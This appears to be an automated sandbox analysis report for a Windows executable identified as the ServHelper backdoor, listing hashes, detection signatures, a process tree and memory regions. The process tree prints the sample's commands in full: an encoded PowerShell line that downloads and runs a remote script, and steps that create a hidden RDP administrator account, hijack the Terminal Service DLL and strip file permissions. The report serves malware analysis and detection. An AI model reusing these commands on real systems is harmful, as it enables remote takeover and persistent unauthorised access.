Analysis

  • max time kernel
    138s
  • max time network
    99s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    08-07-2021 17:08

General

  • Target

    2b7720a936539736e36bb95fd6c61818.exe

  • Size

    4.4MB

  • MD5

    2b7720a936539736e36bb95fd6c61818

  • SHA1

    b89323ad4d1f09227e097173420504f24e27e131

  • SHA256

    b3f483f00e80c0777858e6795f9f13bce726ff8265ef3e8cd3602cf1711247a2

  • SHA512

    d878072027b9aca3434c2b15cb4a3b4c9d097806719ac50ed731110faef2561fa179831804ad4624b7fa7b0fbd6f5927d5ab2fc078b918e13d21d88292f5bcad

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Core1 .NET packer 1 IoCs

    Detects packer/loader used by .NET malware.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2b7720a936539736e36bb95fd6c61818.exe
    "C:\Users\Admin\AppData\Local\Temp\2b7720a936539736e36bb95fd6c61818.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1976
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1724
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Deletes itself
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:928
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jnbjtahq\jnbjtahq.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1220
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2E70.tmp" "c:\Users\Admin\AppData\Local\Temp\jnbjtahq\CSC81DAA45740784870962CA6C5C3B6977.TMP"
            5⤵
              PID:1536
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:600
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1384
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:948
          • C:\Windows\system32\takeown.exe
            "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1064
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1092
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:1436
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:920
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1616
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1764
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1652
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:612
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:1084
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:1844
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:1756
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1264
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    5⤵
                      PID:1744
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                    4⤵
                      PID:1392
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start rdpdr
                        5⤵
                          PID:1568
                          • C:\Windows\system32\net.exe
                            net start rdpdr
                            6⤵
                              PID:1116
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start rdpdr
                                7⤵
                                  PID:1696
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                            4⤵
                              PID:1728
                              • C:\Windows\system32\cmd.exe
                                cmd /c net start TermService
                                5⤵
                                  PID:836
                                  • C:\Windows\system32\net.exe
                                    net start TermService
                                    6⤵
                                      PID:948
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 start TermService
                                        7⤵
                                          PID:692
                                  • C:\Windows\system32\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                    4⤵
                                      PID:1280
                                    • C:\Windows\system32\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                      4⤵
                                        PID:1220
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 000000 /del
                                  1⤵
                                    PID:968
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 000000 /del
                                      2⤵
                                        PID:536
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                          3⤵
                                            PID:952
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe user WgaUtilAcc jJRkcvXw /add
                                        1⤵
                                          PID:1848
                                          • C:\Windows\system32\net.exe
                                            net.exe user WgaUtilAcc jJRkcvXw /add
                                            2⤵
                                              PID:636
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user WgaUtilAcc jJRkcvXw /add
                                                3⤵
                                                  PID:1084
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              1⤵
                                                PID:680
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  2⤵
                                                    PID:600
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                      3⤵
                                                        PID:1128
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                    1⤵
                                                      PID:752
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                        2⤵
                                                          PID:1744
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                            3⤵
                                                              PID:1536
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          1⤵
                                                            PID:748
                                                            • C:\Windows\system32\net.exe
                                                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              2⤵
                                                                PID:1652
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                                  3⤵
                                                                    PID:1756
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd /C net.exe user WgaUtilAcc jJRkcvXw
                                                                1⤵
                                                                  PID:1104
                                                                  • C:\Windows\system32\net.exe
                                                                    net.exe user WgaUtilAcc jJRkcvXw
                                                                    2⤵
                                                                      PID:1216
                                                                      • C:\Windows\system32\net1.exe
                                                                        C:\Windows\system32\net1 user WgaUtilAcc jJRkcvXw
                                                                        3⤵
                                                                          PID:1568
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C wmic path win32_VideoController get name
                                                                      1⤵
                                                                        PID:680
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic path win32_VideoController get name
                                                                          2⤵
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:1380
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C wmic CPU get NAME
                                                                        1⤵
                                                                          PID:1240
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic CPU get NAME
                                                                            2⤵
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1652
                                                                        • C:\Windows\System32\cmd.exe
                                                                          cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          1⤵
                                                                            PID:1116
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              2⤵
                                                                                PID:1216
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                                  3⤵
                                                                                  • Blocklisted process makes network request
                                                                                  • Drops file in Windows directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:1568

                                                                            Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/600-113-0x0000000002630000-0x0000000002631000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/600-108-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/600-132-0x000000001B980000-0x000000001B981000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/600-131-0x000000001B970000-0x000000001B971000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/600-118-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/600-112-0x00000000027B0000-0x00000000027B1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/600-110-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/600-105-0x0000000002770000-0x0000000002771000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/600-107-0x000000001AB30000-0x000000001AB31000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/928-80-0x000000001AB60000-0x000000001AB61000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/928-81-0x0000000002330000-0x0000000002331000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/928-94-0x0000000001EB0000-0x0000000001EB1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/928-78-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/928-98-0x0000000002770000-0x0000000002771000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/928-79-0x00000000022F0000-0x00000000022F1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/928-86-0x000000001B780000-0x000000001B781000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/928-84-0x0000000002500000-0x0000000002501000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/928-96-0x000000001B4D0000-0x000000001B4D1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/928-82-0x000000001AAE0000-0x000000001AAE2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/928-111-0x000000001AAEA000-0x000000001AB09000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/928-97-0x000000001C440000-0x000000001C441000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/928-83-0x000000001AAE4000-0x000000001AAE6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/948-162-0x00000000025C4000-0x00000000025C6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/948-161-0x00000000025C0000-0x00000000025C2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1384-145-0x000000001AAE0000-0x000000001AAE1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1384-140-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1384-139-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1384-146-0x00000000024F0000-0x00000000024F1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1384-141-0x0000000002680000-0x0000000002681000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1384-143-0x000000001B800000-0x000000001B801000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1568-211-0x0000000019594000-0x0000000019596000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1568-212-0x000000001959A000-0x00000000195B9000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1568-210-0x0000000019590000-0x0000000019592000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1724-70-0x0000000041060000-0x0000000041481000-memory.dmp

                                                                              Filesize

                                                                              4.1MB

                                                                            • memory/1724-69-0x0000000000400000-0x0000000000A57000-memory.dmp

                                                                              Filesize

                                                                              6.3MB

                                                                            • memory/1724-68-0x0000000000400000-0x0000000000A57000-memory.dmp

                                                                              Filesize

                                                                              6.3MB

                                                                            • memory/1724-75-0x00000000280D7000-0x00000000280D8000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1724-76-0x00000000280DC000-0x00000000280FB000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1724-74-0x00000000280D6000-0x00000000280D7000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1724-73-0x00000000280D4000-0x00000000280D6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1724-72-0x00000000280D2000-0x00000000280D4000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1976-63-0x000000001BDB0000-0x000000001BDB2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1976-62-0x000000001C360000-0x000000001CB9A000-memory.dmp

                                                                              Filesize

                                                                              8.2MB

                                                                            • memory/1976-60-0x000000013FBD0000-0x000000013FBD1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1976-67-0x000000001E8C0000-0x000000001EEC9000-memory.dmp

                                                                              Filesize

                                                                              6.0MB

                                                                            • memory/1976-66-0x0000000000980000-0x0000000000981000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1976-65-0x0000000000970000-0x0000000000980000-memory.dmp

                                                                              Filesize

                                                                              64KB

                                                                            • memory/1976-64-0x000000001D410000-0x000000001DA3B000-memory.dmp

                                                                              Filesize

                                                                              6.2MB